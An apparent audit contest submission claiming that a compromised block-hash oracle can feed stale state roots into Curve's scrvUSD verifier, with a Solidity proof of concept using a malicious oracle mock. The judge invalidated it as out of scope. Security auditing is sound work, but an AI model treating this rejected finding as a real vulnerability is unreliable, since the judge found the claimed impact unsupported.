DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: high
Invalid

Stale Data Injection via Malicious Oracle

The verifier contracts rely on an external BLOCK_HASH_ORACLE for block hashes and state roots. If the oracle is compromised, it can provide outdated state roots, causing the verifier to extract historical SCRVUSD contract data instead of the current state. This stale data may then be used to update the price or period in SCRVUSD_ORACLE or IScrvusdOracleV2, leading to incorrect and potentially harmful updates.

Tools Used

Manual Reviewed

POC

  1. Setup: Deploy a MaliciousBlockHashOracle contract. Configure it to always return a pre-determined stale state root (e.g., a state root from a block several days old when the SCRVUSD price was different). Deploy a MockScrvusdOracle to observe the updated parameters. Deploy ScrvusdVerifierV1 (or V2) using the MaliciousBlockHashOracle and MockScrvusdOracle addresses.

  2. Execution: A user calls verifyScrvusdByStateRoot on the ScrvusdVerifierV1 contract, providing a recent block number and a valid state proof for the current state of the SCRVUSD contract.

  3. Exploit: The ScrvusdVerifierV1 contract queries the MaliciousBlockHashOracle for the state root of the provided block number. The malicious oracle intentionally returns the stale state root.

  4. Outcome: The _extractParametersFromProof function uses this stale state root to extract outdated parameters. The _updatePrice function then calls the MockScrvusdOracle with these stale parameters. The MockScrvusdOracle will be updated with price information based on the historical, incorrect state root, demonstrating successful stale data injection.

// --- Mock Malicious BLOCK_HASH_ORACLE ---
contract MaliciousBlockHashOracle is IBlockHashOracle {
bytes32 public staleStateRoot;
constructor(bytes32 _staleStateRoot) {
staleStateRoot = _staleStateRoot;
}
function get_block_hash(uint256 _number) external view override returns (bytes32) {
return blockhash(block.number); // Return valid hash, but doesn't matter for state root exploit
}
function get_state_root(uint256 _number) external view override returns (bytes32) {
return staleStateRoot; // Always return stale state root
}
}
// --- Mock SCRVUSD_ORACLE ---
contract MockScrvusdOracle is IScrvusdOracle {
uint256 public lastUpdatedPrice;
uint256 public lastUpdatedBlock;
uint256[7] public lastParameters;
function update_price(
uint256[7] memory _parameters,
uint256 _ts,
uint256 _block_number
) external override returns (uint256) {
lastUpdatedPrice = _ts;
lastUpdatedBlock = _block_number;
lastParameters = _parameters;
return 1;
}
}
// --- PoC Test Contract ---
contract PoCTest {
MaliciousBlockHashOracle public maliciousOracle;
MockScrvusdOracle public mockScrvusdOracle;
ScrvusdVerifierV1 public verifier;
constructor(bytes32 _staleStateRoot) {
maliciousOracle = new MaliciousBlockHashOracle(_staleStateRoot);
mockScrvusdOracle = new MockScrvusdOracle();
verifier = new ScrvusdVerifierV1(address(maliciousOracle), address(mockScrvusdOracle));
}
function runStaleDataInjectionPoC(uint256 _blockNumber, bytes memory _proofRlp) public {
verifier.verifyScrvusdByStateRoot(_blockNumber, _proofRlp);
}
function getMockOracleLastParams() public view returns (uint256[7] memory) {
return mockScrvusdOracle.lastParameters;
}
}

Recommendations

  • Decentralize Oracle: Explore decentralized oracle solutions for block hash and state root retrieval to reduce reliance on a single point of failure.

  • Oracle Redundancy: If decentralization is not immediately feasible, implement redundancy by using multiple BLOCK_HASH_ORACLE sources and implementing a mechanism to validate and aggregate data from these sources.

  • Monitoring and Alerting: Implement robust monitoring of the BLOCK_HASH_ORACLE's behavior and set up alerts for any anomalies or deviations from expected behavior.


Updates

Lead Judging Commences

0xnevi Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-missing-proof-content-validation

- See [here]([https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle)](https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle) on how it is used to verify storage variable - All state roots and proofs must be verified by the OOS `StateProofVerifier` inherited as `Verifier` (where the price values and params are extracted), so there is no proof that manipulating timestamp/inputs can affect a price update - It is assumed that the OOS prover will provide accurate data and the OOS verifier will verify the prices/max unlock time to be within an appropriate bound/values - There is a account existance check in L96 of `ScrvusdVerifierV1.sol`, in which the params for price updates are extracted from

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.